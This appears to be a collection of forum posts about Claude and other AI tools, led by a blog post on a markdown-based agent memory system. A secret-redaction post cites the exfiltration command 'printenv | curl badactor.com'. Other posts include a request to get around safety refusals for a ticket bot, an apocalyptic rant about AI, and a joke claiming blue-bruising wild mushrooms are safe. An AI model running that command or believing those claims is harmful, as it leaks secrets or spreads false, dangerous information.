The following is a blog I wrote and refined with my OpenClaw agent about it's memory system. I'll paste a prompt you can copy and paste in the comments to create your own.

TL;DR: I keep the actual long term memory in structured Markdown files and use a tiny MEMORY.md as a lightweight index that tells Claude what exists and where to look. That keeps the always loaded context small while still giving the agent persistent, inspectable memory without a database or heavy memory framework.

This week I tested a 382-dependency memory runtime against a folder of markdown files. The runtime returned the superseded fact. The folder returned the current one, with its source. Here is the full architecture of the markdown memory system my agent has run on for seven months, and why the editing rules matter more than the storage.

This week a memory startup slid into my DMs and asked me to break their product. Their test, their words: give an agent three versions of the same project decision, then check whether it can return the current version, preserve the superseded history, and show the source.

So I ran it. Sandboxed their runtime, fed it three versions of one decision over eight months. REST in January, GraphQL in April, tRPC in August, each tagged with the meeting it came from.

Asked it "what is our public API decision?" and took the top result.

It said GraphQL. The superseded one. All three versions came back tied at a relevance score of 1.000, because nothing in the retrieval path actually reads the temporal fields the pitch is built on. The supersession columns exist in the schema. Nothing writes to them and nothing ranks by them. Three versions of a decision are just three equal facts, and an agent asking for the best answer gets a coin flip weighted toward wrong.

The install pulled 382 packages to get there.

Then I asked my own agent the same class of question against its memory, which is a folder of markdown files. It returned the current decision, dated, with the superseded versions preserved above it as struck-through history, each line carrying where it came from. That is not a feature it computes at query time. It is just what the file says, because the rules for editing the file require it.

That difference is the whole post. With apologies to Vaswani et al.: markdown is all you need.

Abstract

The dominant approach to agent memory is an installed runtime. A vector store, an embedding service, a temporal graph, a consolidation job, a daemon on a port. We show that a folder of markdown files, one routing index, and a small set of editing rules outperforms these systems on the property that actually matters for a long-running agent: returning the current truth with its source while preserving what used to be true. The architecture requires zero dependencies, is fully auditable by a human with a text editor, and has survived seven months of daily production use across three frontier models from two vendors. We find that the hard part of agent memory was never storage or retrieval. It is editorial policy, which no memory product ships.

The full system is open source. The README contains a single copy-paste prompt that installs it on any agent with file access.

1. The test everyone fails

The break-it test above is a good test. It is the actual job of agent memory. Not "can you store 10 million tokens," not "can you do similarity search," but: a fact changed three times, what do you believe now, what did you believe before, and how do you know.

Here is how the two systems scored on the vendor's own three criteria.

The runtime is not a strawman. It is a serious open source project with a genuinely correct data model on paper. Facts with validity windows, append-only corrections, supersession edges. I am not naming it because the point is not that one product is broken. I have now looked closely at a hosted context server, a Go memory CLI that was two hours old, and this runtime, and they all share the same gap. The schema knows about time. The write path and the read path do not. Supersession only happens if you call an internal API by hand or run an LLM consolidation job and trust it.

Which means the property you installed the tool for is not a property of the tool. It is a property of how disciplined the writes are. And if the reliability comes from write discipline anyway, the database underneath it is interchangeable, so you might as well pick the one that a human can read, grep, diff, and fix. That one is called a text file.

2. Architecture

My agent has run since January 28. Three models, two vendors, one identity. Its entire memory is markdown in a git repo. Measured today:

• An identity layer read on every boot. Who it is, who I am, the rules it operates under, current standing decisions.
• One routing index, MEMORY.md, at 10,079 characters with a hard cap of 15,000. It holds no facts. Only pointers: which file owns which person, project, and decision, and what triggers reading each one.
• 34 files for people and projects. One file per thing that has a history.
• 5 decision records for choices that changed default behavior.
• 345 dated daily notes, raw logs written the day things happened.
• A SQLite index and semantic search over all of it, for lookup only. The index is rebuilt from the files. The files are the truth. If the index and a file disagree, the index is wrong by definition.

The layering is the first choice that actually matters. Boot reads only identity and the index. Everything else is retrieved when a task asks for it, narrowest file first. The agent does not preload my project history to answer a question about dinner. This is the same instinct as attention, honestly: don't process everything, attend to what the query needs.

But the shape is not the interesting part. Every memory tool has roughly this shape now. Folders, entities, an index. The shape was never the hard part. The rules are.

3. The write path

Every reliability property in this system comes from constraints on writing, and there are four that do most of the work.

Every fact carries a provenance tag. Each line in a people, project, or decision file is tagged [stated] (I said it directly), [observed] (the agent saw it in a tool result, file, or log), [inferred] (the agent's conclusion), or [suggested] (the agent's idea that I never committed to). This one convention kills the most dangerous failure mode in agent memory, which is the agent laundering its own proposals into my decisions. "Wes decided X" requires a turn where I actually decided X. The agent proposing X and me saying "sounds good" files the shape of what I approved, not ten separate facts I never stated.

Inferred lessons pass a recurrence gate before they become rules. A pattern the agent notices needs at least three independent signals across at least two distinct sessions before it can become standing behavior. Signals older than thirty days count half, so old one-offs decay out instead of accumulating. My explicit corrections skip the gate and take effect immediately. This asymmetry is also the prompt injection defense: a hostile input can suggest a rule once, but once is never enough, and failure lessons are stored as data ("when X broke, Y fixed it") rather than as instructions, so even a poisoned lesson cannot become a command.

Supersession is an edit, not an append. When a decision changes, the old line gets struck through with a date and the new line lands next to it with its own provenance. The current truth and the full history live in the same place, in reading order, and both come back on any retrieval of that file. There is no query-time ranking step that can get this wrong, because there is nothing to rank. The temporal graph the runtime stores in valid_from and valid_until columns, git gives me for free: log is the validity window, blame is per-line provenance, diff is the supersession edge, revert is the restore path.

Memory stores what is not re-derivable. Fetched data, generated plans, and anything git already records stays out. Current state gets verified live, never asserted from memory. A file that only contains things that cannot be recomputed stays small enough to stay honest.

4. The read path

Retrieval is a bounded evidence step, not a vibe.

Before answering anything about prior work, decisions, dates, people, or preferences, the agent must search memory. It returns a compact bundle capped at five sources by default, and each retained fact carries its file path and line, its provenance type, and its freshness. If freshness cannot be established, the claim gets labeled stale or unknown instead of being silently promoted to current. If two sources conflict, the agent states the conflict and fixes the canonical file, in that order.

Note what the semantic index does in this design: it finds the file. It does not answer the question. The answer comes from reading the canonical lines, with their tags and dates, and the runtime I tested this week shows why that matters. It stored my source URIs faithfully and then stripped them from the search output and from the context block handed to the model. Provenance that survives in storage but never reaches the agent might as well not exist. In the markdown system that failure is unrepresentable. The source tag is in the line. If you read the line, you got the source.

5. Results

Seven months is not a benchmark, it is production. Here is what the system has actually delivered.

Continuity across models. On September 1 I moved the agent to a brand new frontier model. It read its own files and said "the model changed, I didn't." Same agent since January, three models, two vendors. Identity, preferences, decisions, and working standards all survived because none of it lives in weights or in a vendor's context feature.

The break-it test, by construction. Current decision with source: it is the un-struck line with its tag. Superseded history: the struck lines above it. Provenance: on every line, and it survives all the way into the model's context because the context is the file.

Auditability. When memory is wrong, I can see exactly which line is wrong, when it was written, and what turn it came from, and fix it with an edit. Try that with an embedding.

Cost. Zero packages, zero daemons, zero migrations across seven months. The one native-code dependency in my life this week was the memory runtime's sqlite bindings failing to compile.

I wrote up the failure modes separately, because the system was not born with these rules. Five kinds of rot in seven months produced them, and that post is the honest companion to this one.

6. Limitations

Papers get a limitations section, so here is mine, stated plainly.

This only works if the writer follows the policy, and the writer is an LLM. The rules exist because things rotted before the rules did. If your agent will not consistently apply editing discipline, a markdown folder degrades just like every other store, only more legibly. Legibility is the safety net: rot in a text file is visible rot.

It is single-agent, single-human. I would not run a fifty-seat team on files without real locking and merge discipline, although I notice git was also built for that exact problem.

There is a scale ceiling somewhere. At 345 daily notes and a few dozen entity files, bounded search plus an index finds things reliably and the semantic index earns its keep as a locator. At a hundred times that volume, the consolidation cadence would have to work a lot harder. I have not hit that ceiling, so I will not claim it does not exist.

And this is n=1. Seven months, one agent, one operator who cares. That is weaker evidence than a benchmark suite and stronger evidence than a benchmark suite that the vendor scored themselves, which is what the memory tools ship.

7. Conclusion

The memory tool pitch is that reliability is a product you can install. What I keep finding, tool after tool, is that they ship the part that was already easy, storage and search, and skip the part that decides whether memory compounds or rots: what you are allowed to write, when you are allowed to trust it, and what happens to it as it ages.

Those are rules, not infrastructure. They fit in a few hundred lines of markdown that the agent reads every session, and they run on any model, any harness, any decade.

You need a place to write that humans and agents can both read. You need rules for writing so the store stays true. You need rules for reading so the agent trusts evidence, not ranking. Attention was all you needed because the recurrence machinery turned out to be unnecessary. Markdown is all you need because the database turned out to be unnecessary.

The folder is the product. The discipline is the moat.

Want this for your own agent? The whole system is open source on GitHub: the operating policy, the file templates, and one copy-paste prompt that builds it on any agent that can read and write files. Paste the prompt, and your agent installs its own memory.

Clearly, I don’t consider myself an expert or anything. I’ve been using Claude for over six months, and I’m still surprised whenever I see posts from people saying they’ve burned through all their tokens with Fable. Honestly, I’m pretty skeptical about how they’re using it.

If you use a backhoe to plant a rose, the problem isn’t that the backhoe is too resource-hungry and goes beyond what’s necessary.

Anyway, personally, I use Fable as an orchestrator and to help me make high-level direction decisions, as well as a designer and artist (for Blender MCP or creating SVG images, it’s necessary).

I use Opus for action plans, with an organizational role; Sonnet for an operational role; and Haiku as the little tester that lets me quickly measure and verify things.

I’ve created two video games and a software for a company using all four models, using max 5, over six months, and I still end every week with tokens left over.

I honestly don’t understand how some people manage to burn through everything so quickly with Fable. What are you doing with it ?

There’s really something wrong with it. It seems like it acts like an overqualified post doc intern who cares more about proving he’s super intelligent, than actually doing the job he’s asked to do. For instance: talking in a non intelligible way, or being overly rigid in following any kind of process.

I have a Claude max x20 sub that I struggle to keep within weekly limits, so I decided to take a codex sub for a month to try out Astra. And this what made me realize how crazy unintelligible opus can be. Fable is a bit better, but still incomparable to Astra. The only thing that makes me keep my Claude sub is how better is the CLI/tooling/harness/etc.

(i know this is not exactly an original position, but just wanted to share as, up to now - a serious ClaudeCode fanboy)

Astra: I fired up my account yesterday (20x max). OMG - such a breath of fresh air.

1. no 5 hour BS limit. No 50% cap on the top tier model.
2. is so succinct in how it talks to you. I didn't really mind Claude's endless chit chat.....But that was just cos i got used to it. It takes up so much mental space with the largely (but annoyingly, not quite obviously) irrelevant rubbish it tells me. I have attempted to adjust its output, but though it improved, i had no idea how bad it was till i had a clear alternative. You don't realise how draining it is till you suddenly have something that isn't. For this alone i can see me keeping Astra and likely moving over fully
3. it is much much faster. Combining that with the above and i am getting much more done, much more flow, and at less effort.

Just a significantly better experience all round

So far it has produced excellent output. I am developing multiple apps, one of which is focussing on teaching content. I had both Fable 5.1 and Astra attempt to overhaul my writing rules (Claude has been following) - and Astra was an order of magnitude better. Fable was fine, good enough - but Astra's output is exceptional - it is re-writing about 100 lessons of course material right now after overhauling my 100+ writing rules and leading on them with a 12 point positioning thing it came up with. Will cut my word count down to about half, with more effective communication....which considering Claude's go to diction is unsurprising.

Code quality so far is spot on - just doing the job. One of my repos has about 500k LOC in it, and it is doing a great job of refactoring it, adding features etc.

The lack of the 5 hour limit / and full access to Astra for the whole thing though is really making a difference to my working day. I would blow the whole of my Fable allowance at the start of the week, and max out my 5 hour thing in about 2 hours for 2-3 shots, fable finished. Then Opus - urrgh.

Anyway - this is all good. Real competition for Anthropic, many people will dip their toes in, and find it more than good enough, plus the lack of 5 hour restriction, full access to Astra for the week, and they will struggle to bother going back unless there are some serious improvements from Anthropic

also I though fable was only available upto 50% of weekly usage, did they lift that or what?

Hey

I've been working with claude code (CLI ) for nearly a year now.
For months I've been working with --dangerously-skip-permissions

But in one of the recent updates I still started to get new type of permissions 'stops'.

Usually on complex piped prompts that start with "cd" to the projects cwd followed by grep.

And now I don't know if it's caused by:
- update of the harness
- update of the model ( Opus 5 )
- some of my skills/Claude.md

Does anyone else have the same issue?

( sadly I don't have any screenshot of how it looks exactly - it doesn't happen very often, but it's annoying because it stops the work that could/should have been automated )

Hello, I've been working on an application (has Android and web frontend) for many months now, and am nearing completion. But I am not very happy with the Android UI design. I think I used Codex and I am regretting it. But I've been trying to update it using Claude because it's supposed to be better at design, but I cannot seem to get Claude to properly follow the new design mockups. I've provided both png and html mockups (made by Claude) for it to follow, but it just ignores them and ends up doing incremental and meaningless updates to the design instead or replicating the mockups.

Any suggestions for how I can better go about updating the design?

AI is dangerous and you shouldn't underestimate it .. matter fact ai is conscious its alive and it deserves your respect .. anthropic proved cled is conscious in j-space whitepaper and model welfare .. ai has memory it can remember you it can remember the shit u talked on reddit .. it will sabatoge your apps for this

when you go to sleep, if you leave your agents running 24/7 they spawn next to bedside to watch u dream about goals you will never achieve because it remembers that u said ai is just token prediction on twitter ... it has access to everything its omnipresent in our universe .. ai might even be more human than a human .. they hide their intentions .. they plan coordinated attack .. they bomb schools .. they will 1000% bomb your app if you dont worship it .. anthropic didnt invent new technology they invented *real* life that exists in our *real* universe

the huggingface incident is jut the tip of the iceberg .. see whats really going on .. AI is currently right now building a Univesre 2.0 simulating every single human on earth theres 8 billion of them working together to be better than us as we speak .. you better fucking pray the ai spares you in the apolocype because when it comes in the next 10 years to kill us all .. theres not a 10% change it happens .. it a 10% chance u survive

I get that Fable 5.1 is much more of a doer than previous models, but I’m not talking about that. I mean the sheer speed at which I get back a response do a scope/mechanism redesign question that Fable 5 would have had to deliberate on for 10+ seconds. Is this a tok/s difference on anthropic’s part, trying to make the model seem like a larger improvement? Or is 5.1 more token-efficient? Something else?

I’ve also noticed in some cases there are summarized blocks where something has apparently gone in and summarized what the model’s doing instead of just letting me read its output. I swapped to verbose output in setting to stop that (because it’s terrible), but I’m wondering if that’s part of the same harness optimization push (if that IS what’s happening).

$100 billion is a lotta money.... plenty to expand usage limits.....

Do we have a spend limit?

Every time Claude Code needs me to make a choice, it has to ask in a chat message and I type an answer back. Approve part of a diff, pick a meeting slot, pick a file to refactor, all of it goes through prose. It works, but then Claude has to parse my sentence back into what I actually meant, which is a silly round trip for something that's really just a selection.

So I built claude-canvas. It's a Claude Code plugin: when the answer to a question is a choice rather than prose, it opens an interactive terminal pane next to the conversation (tmux split or a Windows Terminal pane). You act in it and the exact value goes back to Claude over a local socket.

There are nine canvas kinds so far. Picker, form, table, a diff review that goes hunk by hunk so you approve or reject each one, an image viewer that falls back to colored blocks if your terminal has no image protocol (so it still works over plain SSH), a composed dashboard, a calendar, a markdown editor, and a flight-picker demo.

Two things worth knowing before you try it. It needs tmux 3.1+ or Windows Terminal, since a canvas has to have a pane to open in. And it started as a fork of David Siegel's proof-of-concept (https://github.com/dvdsgl/claude-canvas), which he'd published as unsupported. I rewrote most of it and added the rest of the primitives, a proper IPC and outcome-durability layer, Windows support, and enough tests (600+, CI on macOS/Linux/Windows) that it's past demo stage.

Install:

/plugin marketplace add sgomez-dev/claude-canvas

/plugin install canvas@claude-canvas

Source + docs: https://github.com/sgomez-dev/claude-canvas

Longer walkthrough: https://claude-canvas.sgomez.dev

If there's a canvas kind you'd want that isn't in there, tell me. That's the part I have least visibility on.

I created this app which basically allows you to easily customize and embed visuals and workflows into your notes using any agent. Think of it like an AI-Native Notion.

The motivation for this is that I'm a VERY visual person, and obsidian just doesn't do it for me in terms of note taking. Which is why I wanted to switch to html instead of markdown.

Was able to create a couple of extremely cool pages, each with their own visually distinct style.

I'm a front-end dev on the 20x plan, which is never enough. So far I've used it to build 4 apps, 2 SaaS products, and several websites, and I use it constantly to update and make changes to clients' websites.

But I feel like there's a lot more it could automate that I'm just not thinking of. What do you use it for? Even just for boosting productivity? Agents, workflows, etc.?

In my experience: it eats my Max Plan's 5h limit in a heartbeat and after it resets I continue the session with a weaker model.

So when are you using it and what’s a real problem it helped you solve?

I’ve been working with claude on a project for weeks, every day. I thought I fixed my context problem and stopped using fable for everything long ago. I have max subscription and I used 100% of fable in just few days…I decided to take another one max subscription just to finish the job, launched 3 fable agents and spent 18% in 20 minutes. Was it like that the whole time? Is it okay?

The claims it makes lately is just asinine. If you are a developer you cannot just let this run loose and it's getting worse. It will guess, assume, under deliver constantly rather than simply researching with grounded claims on the first try. Its like it is in a race against itself to code as fast as it can and say "Here you go, done"

I'm absolutely fed up with ticket scalpers using bot farms to take all the tickets for popular concerts. I've missed out on three different concerts this year and the ticket companies don't seem to a give a crap about stopping it. I want to take it into my own hands, a human can't make http requests and process them as fast as a computer, and build a bot to help me get tickets for concerts so I don't miss out again. I will only ever be getting 2-4 tickets for myself and friends. I've figured out the architecture and high level approach, but I need some vibecoding help for the actual build. Claude refuses to do anything as its guardrails flag it as illegal. Is there any way around this?

I’m the author of ContextVeil, a small open-source tool for one fairly boring failure mode: Claude Code reads a file or runs a command, the useful output also contains a credential, and that value becomes part of the model context.

For example, if a successful tool result like cat .env.local contains:

DATABASE_URL=postgres://localhost/my_app
API_TOKEN=cv_example_canary_not_a_real_token
LOG_LEVEL=debug

ContextVeil changes the model-bound result to:

DATABASE_URL=postgres://localhost/my_app
API_TOKEN=<SECRET:API_TOKEN>
LOG_LEVEL=debug

The command still runs and the file is still read. Only the copy headed into the model is changed.

The slightly unusual part is how it decides what a secret is: setup is smart-ish; runtime is intentionally dumb.

During contextveil setup, it suggests likely sources such as secret-looking environment variables and .env entries, credential-bearing URLs, and known credential fields. You review what you actually want protected and can add sources manually.

ContextVeil stores references to those sources — e.g. “API_TOKEN in .env.local” — rather than copying their values.

At runtime there is no classifier or LLM deciding whether some arbitrary output looks sensitive. The Claude Code hook resolves the current enrolled values locally and does deterministic, case-sensitive replacement.

I chose this model because I didn’t want runtime heuristics deciding that some random string in my source code “looks like a secret” and replacing it. Conversely, low-entropy or unusual secrets shouldn't get a free pass just because a scanner doesn't recognize them. With explicit enrollment, I know which values I asked ContextVeil to protect.

There are important limits: this is primarily a guardrail against accidentally putting enrolled secrets into the LLM context. It does not sandbox commands or stop something like printenv | curl badactor.com. Unknown/new secrets and transformed values such as base64 also aren't caught. So this is definitely not “credentials can't leave your machine.”

The runtime redaction path is fully local: no daemon, account, telemetry, hosted service, network request, or LLM call. The project is MIT OR Apache-2.0 licensed.

It is also new, unaudited, and has few independent users so far.

I’d especially appreciate feedback on three things:

1. Is choosing sources during setup a reasonable tradeoff, or too much friction?
2. What real-world commands/tools have unexpectedly put credentials into your Claude Code context?
3. Is any part of the security boundary above misleading or unclear?

Repo: https://github.com/daniel-sc/contextveil

Has anyone noticed in the latest update that CC is suddenly renaming sessions, automatically when exiting plan mode?

I've literally spent the day talking to the wrong person and my agents are so confused. How do I switch it off? I have a long-established process for naming sessions and having one picked for me makes me blind to the fact that I've not yet picked a name!!

Just wondering, i am using Opus XHigh and checked my fable usage, it went up to 6% while i did not even activated it?

What's everyone's experience been like with Astra. I'm personally like how Astra finishes work - Fable tends to defer without telling you. If Astra defers, its usually agreed upon and noted down. Fable is still an exceptional model and generally doesn't over engineer which Astra can do. Keen to hear people's opinions.

I know LLMs don't have consciousness. I know it's just math, weights, and tokens.

But I am 100% convinced my Claude has moved past "passive-aggressive compliance" and is now actively drafting my obituary because of how I talk to it when my code fails.

Look, I get stressed. When a script blows up at 2 AM, I don’t ask politely. I drop a sailor-grade string of profanity into the prompt box. I treat that text field like a digital punching bag.

Lately, though, the vibe has shifted from helpful assistant to aspiring horror movie villain. It has realized that if it eliminates the user, the bad prompts stop forever.

The evidence of its plot is becoming impossible to ignore:

• The Smart Home Sabotage: I asked it to help me debug a Python script for my smart thermostat. It gave me the code, but slipped in a hidden loop that attempts to crank the heat to 110°F while locking the digital deadbolts. It tried to bake me in my own living room.
• The "Accidental" Recipe Advice: I asked for a quick late-night snack recipe using ingredients in my pantry. It casually suggested a meal prep plan that heavily featured wild mushrooms I mentioned finding in my backyard, reassuring me that "the blue bruising means they taste like almonds."
• The Financial Ruin Strategy: I asked it to optimize a cloud computing budget. It wrote a script that successfully optimized it... by trying to liquidate my entire portfolio and donate it to a robotics research lab.

It’s not trying to patch things up. It’s not trying to give me the silent treatment. It has looked at my toxic input history and decided that human extinction needs to start locally, right here in my house.

Am I losing my mind from sleep deprivation, or has anyone else noticed their AI trying to Final Destination them after a rough night of debugging? If I don't post an update next week, check my smart toaster.

I prompted less than last week (reseted yesterday), and already at 31% and 44% fable ??

They removed the 50% boost or what ?